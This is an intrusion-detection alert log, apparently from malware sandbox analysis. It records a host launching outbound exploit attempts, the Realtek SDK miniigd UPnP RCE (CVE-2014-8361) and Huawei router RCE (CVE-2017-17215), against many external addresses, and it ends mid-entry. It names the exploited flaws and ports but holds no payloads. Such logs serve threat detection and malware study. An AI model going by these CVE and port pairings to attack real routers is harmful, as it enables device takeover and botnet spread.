ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 89.230.177.62

Timestamp:	07/20/24-23:01:47.604426
SID:	2831300
Source Port:	48060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.85.168.68

Timestamp:	07/20/24-23:01:44.670285
SID:	2027339
Source Port:	55610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.111.14.150

Timestamp:	07/20/24-23:01:25.263099
SID:	2027339
Source Port:	33996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.197.119.108

Timestamp:	07/20/24-23:01:32.059767
SID:	2829579
Source Port:	47416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 14.138.152.232

Timestamp:	07/20/24-23:01:56.324972
SID:	2831300
Source Port:	46594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.27.97.229

Timestamp:	07/20/24-23:01:01.831747
SID:	2027339
Source Port:	37044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.247.155.57

Timestamp:	07/20/24-23:01:43.392835
SID:	2027339
Source Port:	51270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 103.34.160.230

Timestamp:	07/20/24-23:00:59.196993
SID:	2829579
Source Port:	53310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 177.70.134.46

Timestamp:	07/20/24-23:01:27.749737
SID:	2835222
Source Port:	36574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.115.197.13

Timestamp:	07/20/24-23:01:25.535708
SID:	2025132
Source Port:	41514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.188.148.174

Timestamp:	07/20/24-23:01:31.976984
SID:	2829579
Source Port:	41924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.103.119.53

Timestamp:	07/20/24-23:01:11.817771
SID:	2829579
Source Port:	55094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 8.108.207.220

Timestamp:	07/20/24-23:00:59.204975
SID:	2835222
Source Port:	47260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 4.154.54.81

Timestamp:	07/20/24-23:01:11.639230
SID:	2835222
Source Port:	45886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.121.143.8

Timestamp:	07/20/24-23:00:59.194576
SID:	2829579
Source Port:	34208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.254.84.115

Timestamp:	07/20/24-23:01:04.236014
SID:	2027339
Source Port:	60634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 195.86.64.66

Timestamp:	07/20/24-23:01:46.181357
SID:	2831300
Source Port:	38326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.231.162.161

Timestamp:	07/20/24-23:01:31.320338
SID:	2027339
Source Port:	57134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 122.34.30.224

Timestamp:	07/20/24-23:01:34.050313
SID:	2829579
Source Port:	32978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.202.90.168

Timestamp:	07/20/24-23:01:11.632393
SID:	2835222
Source Port:	52048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.75.123.123

Timestamp:	07/20/24-23:01:42.213822
SID:	2027339
Source Port:	60830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.223.197.130

Timestamp:	07/20/24-23:00:59.192052
SID:	2829579
Source Port:	56934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.31.233.114

Timestamp:	07/20/24-23:01:47.931025
SID:	2027339
Source Port:	40976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.42.19.221

Timestamp:	07/20/24-23:01:04.058922
SID:	2835222
Source Port:	48874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.130.195.101

Timestamp:	07/20/24-23:01:43.528109
SID:	2027339
Source Port:	58076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.6.200.253

Timestamp:	07/20/24-23:01:31.974907
SID:	2835222
Source Port:	50664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.188.24.161

Timestamp:	07/20/24-23:01:43.843278
SID:	2027339
Source Port:	50424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 126.12.83.193

Timestamp:	07/20/24-23:01:10.987935
SID:	2025132
Source Port:	36258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.0.10.232

Timestamp:	07/20/24-23:01:47.159758
SID:	2831300
Source Port:	44832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.128.103.156

Timestamp:	07/20/24-23:01:11.631728
SID:	2829579
Source Port:	49720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 150.125.163.90

Timestamp:	07/20/24-23:01:42.213822
SID:	2831300
Source Port:	39442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.252.135.214

Timestamp:	07/20/24-23:01:27.654173
SID:	2835222
Source Port:	53600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.23.23.187

Timestamp:	07/20/24-23:01:41.412156
SID:	2027339
Source Port:	48118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.208.103

Timestamp:	07/20/24-23:01:04.082385
SID:	2835222
Source Port:	48818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.96.29.107

Timestamp:	07/20/24-23:01:44.957555
SID:	2831300
Source Port:	41402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.65.225.50

Timestamp:	07/20/24-23:01:51.594415
SID:	2027339
Source Port:	44100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 101.52.13.24

Timestamp:	07/20/24-23:01:43.091220
SID:	2025132
Source Port:	58794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.0.100.142

Timestamp:	07/20/24-23:01:44.114134
SID:	2027339
Source Port:	60424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.195.128.162

Timestamp:	07/20/24-23:01:02.093903
SID:	2027339
Source Port:	37616
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.248.150.138

Timestamp:	07/20/24-23:01:14.117066
SID:	2829579
Source Port:	59010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.65.233.168

Timestamp:	07/20/24-23:01:59.593869
SID:	2025132
Source Port:	56606
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.127.253.166

Timestamp:	07/20/24-23:02:02.085571
SID:	2027339
Source Port:	47840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 58.121.119.159

Timestamp:	07/20/24-23:02:02.671155
SID:	2831300
Source Port:	49994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.142.177

Timestamp:	07/20/24-23:01:04.094795
SID:	2835222
Source Port:	55162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.209.93.74

Timestamp:	07/20/24-23:01:20.596402
SID:	2027339
Source Port:	51192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.46.10.64

Timestamp:	07/20/24-23:01:54.881105
SID:	2027339
Source Port:	33492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.82.6.11

Timestamp:	07/20/24-23:01:41.443693
SID:	2027339
Source Port:	58424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.250.178.79

Timestamp:	07/20/24-23:01:52.625240
SID:	2027339
Source Port:	49526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.64.201.235

Timestamp:	07/20/24-23:01:50.147840
SID:	2831300
Source Port:	59216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.200.159.137

Timestamp:	07/20/24-23:01:47.652628
SID:	2027339
Source Port:	35362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.34.184

Timestamp:	07/20/24-23:01:00.637175
SID:	2829579
Source Port:	58502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.82.140.27

Timestamp:	07/20/24-23:01:55.944701
SID:	2027339
Source Port:	42188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.130.41

Timestamp:	07/20/24-23:01:00.633355
SID:	2835222
Source Port:	59428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.255.209.13

Timestamp:	07/20/24-23:01:04.113037
SID:	2829579
Source Port:	39682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.137.71.180

Timestamp:	07/20/24-23:01:41.722890
SID:	2027339
Source Port:	44964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 76.8.56.105

Timestamp:	07/20/24-23:01:45.599519
SID:	2831300
Source Port:	49644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.80.115.81

Timestamp:	07/20/24-23:01:43.300793
SID:	2027339
Source Port:	47466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.70.135.245

Timestamp:	07/20/24-23:01:52.390301
SID:	2025132
Source Port:	51446
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 89.86.75.249

Timestamp:	07/20/24-23:02:06.680685
SID:	2831300
Source Port:	54018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.241.106.75

Timestamp:	07/20/24-23:01:08.599361
SID:	2831300
Source Port:	36014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.240.6.181

Timestamp:	07/20/24-23:01:31.991336
SID:	2829579
Source Port:	32994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.252.227

Timestamp:	07/20/24-23:01:31.982478
SID:	2835222
Source Port:	48318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.137.171.145

Timestamp:	07/20/24-23:01:43.147883
SID:	2025132
Source Port:	34030
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.5.145.91

Timestamp:	07/20/24-23:01:47.829810
SID:	2025132
Source Port:	46942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.8.46.56

Timestamp:	07/20/24-23:01:14.014458
SID:	2835222
Source Port:	59218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.97.134.51

Timestamp:	07/20/24-23:01:48.445925
SID:	2027339
Source Port:	43088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.126.153.78

Timestamp:	07/20/24-23:01:44.560666
SID:	2027339
Source Port:	41116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.173.36.90

Timestamp:	07/20/24-23:01:51.060408
SID:	2831300
Source Port:	34238
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.61.70.96

Timestamp:	07/20/24-23:01:48.918065
SID:	2027339
Source Port:	43488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 25.61.31.63

Timestamp:	07/20/24-23:01:11.636599
SID:	2829579
Source Port:	38786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 8.98.251.144

Timestamp:	07/20/24-23:01:31.976984
SID:	2835222
Source Port:	40258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.86.67.253

Timestamp:	07/20/24-23:01:02.768078
SID:	2027339
Source Port:	60488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.79.124.73

Timestamp:	07/20/24-23:01:40.286738
SID:	2835222
Source Port:	42938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.129.147.154

Timestamp:	07/20/24-23:01:42.462291
SID:	2027339
Source Port:	39952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.97.212.169

Timestamp:	07/20/24-23:01:51.979093
SID:	2025132
Source Port:	47772
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.135.72.98

Timestamp:	07/20/24-23:02:00.371741
SID:	2831300
Source Port:	41426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.209.153.245

Timestamp:	07/20/24-23:01:04.085431
SID:	2829579
Source Port:	53176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 183.223.8.125

Timestamp:	07/20/24-23:01:51.790169
SID:	2831300
Source Port:	37528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.230.61.146

Timestamp:	07/20/24-23:01:44.059102
SID:	2027339
Source Port:	57892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 64.137.17.221

Timestamp:	07/20/24-23:01:24.944299
SID:	2829579
Source Port:	34160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 47.200.89.27

Timestamp:	07/20/24-23:01:24.904906
SID:	2829579
Source Port:	38506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.27.232.7

Timestamp:	07/20/24-23:01:03.290547
SID:	2027339
Source Port:	38308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.5.145.192

Timestamp:	07/20/24-23:01:47.934101
SID:	2027339
Source Port:	34730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.4.213.77

Timestamp:	07/20/24-23:01:11.817297
SID:	2829579
Source Port:	38628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.74.143.214

Timestamp:	07/20/24-23:01:54.704194
SID:	2027339
Source Port:	51816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.66.149.229

Timestamp:	07/20/24-23:01:43.147883
SID:	2027339
Source Port:	39284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.221.171.171

Timestamp:	07/20/24-23:01:46.893328
SID:	2027339
Source Port:	58992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.248.156.6

Timestamp:	07/20/24-23:01:43.141192
SID:	2027339
Source Port:	58726
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.62.189.35

Timestamp:	07/20/24-23:01:11.639230
SID:	2829579
Source Port:	38990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 216.95.253.44

Timestamp:	07/20/24-23:01:20.110860
SID:	2829579
Source Port:	53424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 184.60.97.199

Timestamp:	07/20/24-23:01:09.030401
SID:	2831300
Source Port:	36084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.21.238.229

Timestamp:	07/20/24-23:01:41.260372
SID:	2025132
Source Port:	55702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.246.10.144

Timestamp:	07/20/24-23:01:50.085627
SID:	2027339
Source Port:	42686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.34.53.233

Timestamp:	07/20/24-23:01:13.694393
SID:	2027339
Source Port:	58076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.68.146.233

Timestamp:	07/20/24-23:01:44.203130
SID:	2025132
Source Port:	38468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.85.104.215

Timestamp:	07/20/24-23:01:43.557453
SID:	2027339
Source Port:	39592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 208.252.51.218

Timestamp:	07/20/24-23:01:24.867858
SID:	2835222
Source Port:	46002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.216.69.165

Timestamp:	07/20/24-23:01:41.228794
SID:	2025132
Source Port:	42024
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.139.214.54

Timestamp:	07/20/24-23:01:47.342227
SID:	2831300
Source Port:	38380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 176.90.235.184

